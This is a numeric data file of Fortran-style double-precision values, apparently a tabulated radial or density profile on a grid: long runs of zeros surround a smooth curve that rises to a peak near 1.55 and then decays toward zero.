0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.8576998932607242E-09  0.5148474978702150E-07  0.5500333859843751E-06  0.2898571356744415E-05\n  0.1037065667137954E-04  0.2904394432880980E-04  0.6869069328866988E-04  0.1435525383839498E-03  0.2729524897641136E-03\n  0.4817179545381958E-03  0.8004046139757985E-03  0.1265323067409609E-02  0.1918378981427738E-02  0.2806743664553777E-02\n  0.3982376035816319E-02  0.5501419303057878E-02  0.7423496677200373E-02  0.9810930426149240E-02  0.1272790776956854E-01\n  0.1623961574245743E-01  0.2041136538278681E-01  0.2530772356585144E-01  0.3099166862766308E-01  0.3752378368081732E-01\n  0.4496149929855063E-01  0.5335839507962672E-01  0.6276356754813610E-01  0.7322106991690198E-01  0.8476942747035206E-01\n  0.9744123071429918E-01  0.1112628070018588E+00  0.1262539700776599E+00  0.1424278458837341E+00  0.1597907720342443E+00\n  0.1783422675846084E+00  0.1980750690841191E+00  0.2189752283993167E+00  0.2410222674169928E+00  0.2641893844693322E+00\n  0.2884437071578631E+00  0.3137465861762969E+00  0.3400539247340754E+00  0.3673165382520538E+00  0.3954805391293457E+00\n  0.4244877415567311E+00  0.4542760815685687E+00  0.4847800477740307E+00  0.5159311184824792E+00  0.5476582012304797E+00\n  0.5798880710234582E+00  0.6125458039182285E+00  0.6455552028889719E+00  0.6788392132348257E+00  0.7123203250985853E+00\n  0.7459209609702914E+00  0.7795638463441852E+00  0.8131723619807327E+00  0.8466708764954843E+00  0.8799850582522438E+00\n  0.9130421657784031E+00  0.9457713161447614E+00  0.9781037309602292E+00  0.1009972959823397E+01  0.1041315081248019E+01\n  0.1072068881238206E+01  0.1102176009831869E+01  0.1131581116058128E+01  0.1160231961866557E+01  0.1188079515683897E+01\n  0.1215078026337852E+01  0.1241185078158618E+01  0.1266361628127532E+01  0.1290572025989520E+01  0.1313784018282635E+01\n  0.1335968737264703E+01  0.1357100675734715E+01  0.1377157648755932E+01  0.1396120743289401E+01  0.1413974256741546E+01\n  0.1430705625418266E+01  0.1446305343861415E+01  0.1460766876022088E+01  0.1474086559199635E+01  0.1486263501646126E+01\n  0.1497299474703849E+01  0.1507198800308697E+01  0.1515968234655533E+01  0.1523616848783268E+01  0.1530155906797786E+01\n  0.1535598742410441E+01  0.1539960634428920E+01  0.1543258681796175E+01  0.1545511678732089E+01  0.1546739990491811E+01\n  0.1546965430214609E+01  0.1546211137297620E+01  0.1544501457690412E+01  0.1541861826468803E+01  0.1538318653010165E+01\n  0.1533899209057386E+01  0.1528631519925127E+01  0.1522544259069783E+01  0.1515666646213862E+01  0.1508028349186392E+01\n  0.1499659389613263E+01  0.1490590052565443E+01  0.1480850800248451E+01  0.1470472189793603E+01  0.1459484795190111E+01\n  0.1447919133377286E+01  0.1435805594497667E+01  0.1423174376295045E+01  0.1410055422625766E+01  0.1396478366037582E+01\n  0.1382472474357517E+01  0.1368066601218609E+01  0.1353289140445096E+01  0.1338167984206406E+01  0.1322730484842268E+01\n  0.1307003420254224E+01  0.1291012962752784E+01  0.1274784651244435E+01  0.1258343366638420E+01  0.1241713310349911E+01\n  0.1224917985773531E+01  0.1207980182599308E+01  0.1190921963841912E+01  0.1173764655453436E+01  0.1156528838389896E+01\n  0.1139234343002130E+01  0.1121900245622720E+01  0.1104544867221897E+01  0.1087185774007220E+01  0.1069839779843846E+01\n  0.1052522950374696E+01  0.1035250608722480E+01  0.1018037342658465E+01  0.1000897013126039E+01  0.9838427640104167E+00\n  0.9668870330493002E+00  0.9500415637828995E+00  0.9333174184453955E+00  0.9167249917036894E+00  0.9002740251531050E+00\n  0.8839736224835302E+00  0.8678322652333790E+00  0.8518578290525983E+00  0.8360576003997890E+00  0.8204382936023470E+00\n  0.8050060682122852E+00  0.7897665465941298E+00  0.7747248316849636E+00  0.7598855248702404E+00  0.7452527439225495E+00\n  0.7308301409539072E+00  0.7166209203354966E+00  0.7026278565420246E+00  0.6888533118809829E+00  0.6752992540701540E+00\n  0.6619672736296282E+00  0.6488586010574048E+00  0.6359741237603777E+00  0.6233144027150980E+00  0.6108796888351882E+00\n  0.5986699390246809E+00  0.5866848318987949E+00  0.5749237831558405E+00  0.5633859605859940E+00  0.5520702987046087E+00\n  0.5409755129995881E+00  0.5301001137840697E+00  0.5194424196473048E+00  0.5090005704981659E+00  0.4987725401971368E+00\n  0.4887561487740056E+00  0.4789490742297346E+00  0.4693488639221445E+00  0.4599529455361500E+00  0.4507586376402879E+00\n  0.4417631598321903E+00  0.4329636424765457E+00  0.4243571360398264E+00  0.4159406200268177E+00  0.4077110115246057E+00\n  0.3996651733602655E+00  0.3917999218790373E+00  0.3841120343502322E+00  0.3765982560085148E+00  0.3692553067386082E+00\n  0.3620798874117488E+00  0.3550686858825059E+00  0.3482183826548197E+00  0.3415256562262722E+00  0.3349871881197929E+00\n  0.3285996676120873E+00  0.3223597961681734E+00  0.3162642915914723E+00  0.3103098918988991E+00  0.3044933589304323E+00\n  0.2988114817025848E+00  0.2932610795151651E+00  0.2878390048206519E+00  0.2825421458654130E+00  0.2773674291118858E+00\n  0.2723118214507413E+00  0.2673723322118953E+00  0.2625460149830915E+00  0.2578299692446370E+00  0.2532213418286768E+00\n  0.2487173282112436E+00  0.2443151736451206E+00  0.2400121741413617E+00  0.2358056773071348E+00  0.2316930830473297E+00\n  0.2276718441371882E+00  0.2237394666729961E+00  0.2198935104076650E+00  0.2161315889778330E+00  0.2124513700288889E+00\n  0.2088505752441177E+00  0.2053269802839583E+00  0.2018784146411472E+00  0.1985027614173130E+00  0.1951979570263882E+00\n  0.1919619908299856E+00  0.1887929047096988E+00  0.1856887925810768E+00  0.1826477998538276E+00  0.1796681228426198E+00\n  0.1767480081326520E+00  0.1738857519039822E+00  0.1710796992184251E+00  0.1683282432726463E+00  0.1656298246209137E+00\n  0.1629829303707959E+00  0.1603860933549304E+00  0.1578378912818327E+00  0.1553369458685551E+00  0.1528819219578573E+00\n  0.1504715266224071E+00  0.1481045082583851E+00  0.1457796556707337E+00  0.1434957971521608E+00  0.1412517995578756E+00\n  0.1390465673779208E+00  0.1368790418088395E+00  0.1347481998263070E+00  0.1326530532602482E+00  0.1305926478738530E+00\n  0.1285660624478085E+00  0.1265724078709661E+00  0.1246108262385681E+00  0.1226804899590787E+00  0.1207806008705706E+00\n  0.1189103893675429E+00  0.1170691135389732E+00  0.1152560583183238E+00  0.1134705346461653E+00  0.1117118786460041E+00\n  0.1099794508138442E+00  0.1082726352219536E+00  0.1065908387372449E+00  0.1049334902546352E+00  0.1033000399456902E+00\n  0.1016899585228177E+00  0.1001027365192277E+00  0.9853788358483354E-01  0.9699492779823146E-01  0.9547341499485665E-01\n  0.9397290811138079E-01  0.9249298654638069E-01  0.9103324553728220E-01  0.8959329555354877E-01  0.8817276170606399E-01\n  0.8677128317262857E-01  0.8538851263947052E-01  0.8402411575864875E-01  0.8267777062120664E-01  0.8134916724591848E-01\n  0.8003800708345375E-01  0.7874400253576731E-01  0.7746687649051477E-01  0.7620636187027600E-01  0.7496220119635953E-01\n  0.7373414616695294E-01  0.7252195724937327E-01  0.7132540328616367E-01  0.7014426111477837E-01  0.6897831520058859E-01\n  0.6782735728294027E-01  0.6669118603398869E-01  0.6556960673003079E-01  0.6446243093505667E-01  0.6336947619623536E-01\n  0.6229056575105237E-01  0.6122552824581402E-01  0.6017419746523230E-01  0.5913641207280737E-01  0.5811201536172281E-01\n  0.5710085501597033E-01  0.5610278288142408E-01  0.5511765474658521E-01  0.5414533013271837E-01  0.5318567209310896E-01\n  0.5223854702116695E-01  0.5130382446711163E-01  0.5038137696297216E-01  0.4947107985564236E-01  0.4857281114773465E-01\n  0.4768645134597841E-01  0.4681188331691594E-01  0.4594899214965088E-01  0.4509766502540915E-01  0.4425779109367826E-01\n  0.4342926135469399E-01  0.4261196854804814E-01  0.4180580704719781E-01  0.4101067275965932E-01  0.4022646303267519E-01\n  0.3945307656414969E-01  0.3869041331864940E-01  0.3793837444827467E-01  0.3719686221820911E-01  0.3646577993676117E-01\n  0.3574503188971662E-01  0.3503452327882445E-01  0.3433416016424531E-01  0.3364384941079507E-01  0.3296349863782079E-01\n  0.3229301617255276E-01  0.3163231100677876E-01  0.3098129275669249E-01  0.3033987162577284E-01  0.2970795837055464E-01\n  0.2908546426915543E-01  0.2847230109242889E-01  0.2786838107761748E-01  0.2727361690438311E-01  0.2668792167309761E-01\n  0.2611120888527847E-01  0.2554339242606102E-01  0.2498438654859956E-01  0.2443410586029598E-01  0.2389246531075691E-01\n  0.2335938018138393E-01  0.2283476607650571E-01  0.2231853891596374E-01  0.2181061492906659E-01  0.2131091064983147E-01\n  0.2081934291343454E-01  0.2033582885379438E-01  0.1986028590221680E-01  0.1939263178703108E-01  0.1893278453415130E-01\n  0.1848066246849892E-01  0.1803618421622546E-01  0.1759926870767613E-01  0.1716983518103927E-01  0.1674780318662707E-01\n  0.1633309259173651E-01  0.1592562358604172E-01  0.1552531668746990E-01  0.1513209274851720E-01  0.1474587296296080E-01\n  0.1436657887292672E-01  0.1399413237627429E-01  0.1362845573426023E-01  0.1326947157944628E-01  0.1291710292381743E-01\n  0.1257127316707774E-01  0.1223190610509324E-01  0.1189892593845275E-01  0.1157225728111806E-01  0.1125182516913743E-01\n  0.1093755506939646E-01  0.1062937288838200E-01  0.1032720498093588E-01  0.1003097815897619E-01  0.9740619700164219E-02\n  0.9456057356497178E-02  0.9177219362806280E-02  0.8904034445141316E-02  0.8636431829023183E-02  0.8374341247546036E-02\n  0.8117692949311960E-02  0.7866417706180585E-02  0.7620446820816740E-02  0.7379712134019578E-02  0.7144146031816014E-02\n  0.6913681452302325E-02  0.6688251892216657E-02  0.6467791413225554E-02  0.6252234647907211E-02  0.6041516805413253E-02\n  0.5835573676791136E-02  0.5634341639947666E-02  0.5437757664233824E-02  0.5245759314629934E-02  0.5058284755509180E-02\n  0.4875272753955811E-02  0.4696662682613547E-02  0.4522394522037392E-02  0.4352408862520555E-02  0.4186646905366133E-02\n  0.4025050463570553E-02  0.3867561961883894E-02  0.3714124436208813E-02  0.3564681532297067E-02  0.3419177503699341E-02\n  0.3277557208920367E-02  0.3139766107727285E-02  0.3005750256555324E-02  0.2875456302949815E-02  0.2748831478978852E-02\n  0.2625823593545541E-02  0.2506381023522792E-02  0.2390452703627873E-02  0.2277988114946939E-02  0.2168937272013016E-02\n  0.2063250708333439E-02  0.1960879460254761E-02  0.1861775049045227E-02  0.1765889461065943E-02  0.1673175125893125E-02\n  0.1583584892244586E-02  0.1497072001553956E-02  0.1413590059026983E-02  0.1333093002004349E-02  0.1255535065446408E-02\n  0.1180870744346243E-02  0.1109054752869345E-02  0.1040041980010902E-02  0.9737874415562595E-03  0.9102462281261181E-03\n  0.8493734490870866E-03  0.7911241721104120E-03  0.7354533581681445E-03  0.6823157917680999E-03  0.6316660062474194E-03\n  0.5834582039715675E-03  0.5376461713226330E-03  0.4941831884102573E-03  0.4530219335027502E-03  0.4141143822583456E-03\n  0.3774117019399670E-03  0.3428641409258591E-03  0.3104209139870729E-03  0.2800300839961760E-03  0.2516384409654113E-03\n  0.2251913795924475E-03  0.2006327768245250E-03  0.1779048713433524E-03  0.1569481473297049E-03  0.1377012253937927E-03\n  0.1201007641585952E-03  0.1040813766598551E-03  0.8957556647504338E-04  0.7651368930508610E-04  0.6482394658893534E-04\n  0.5443241860150438E-04  0.4526314532314971E-04  0.3723826410463467E-04  0.3027821368846399E-04  0.2430201435404447E-04\n  0.1922763365777299E-04  0.1497244622116435E-04  0.1145379401469120E-04  0.8589650285013768E-05  0.6299385349542388E-05\n  0.4504625622961494E-05  0.3130188220885624E-05  0.2105062280742719E-05  0.1363395085845545E-05  0.8454270900288885E-06\n  0.4983067594254876E-06  0.2767065679872027E-06  0.1431594160449781E-06  0.6804490613003522E-07  0.2918182930693568E-07\n  0.1102919874006033E-07  0.3560261260656263E-08  0.9406176465862757E-09  0.1916420214061158E-09  0.2763777688791933E-10\n  0.2482312356945943E-11  0.1136644735947497E-12  0.1904831683752850E-14  0.6466043629846817E-17  0.1381172060080856E-20\n  0.1274303700193166E-26  0.2106088550891557E-38  0.1212886175035114E-71  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  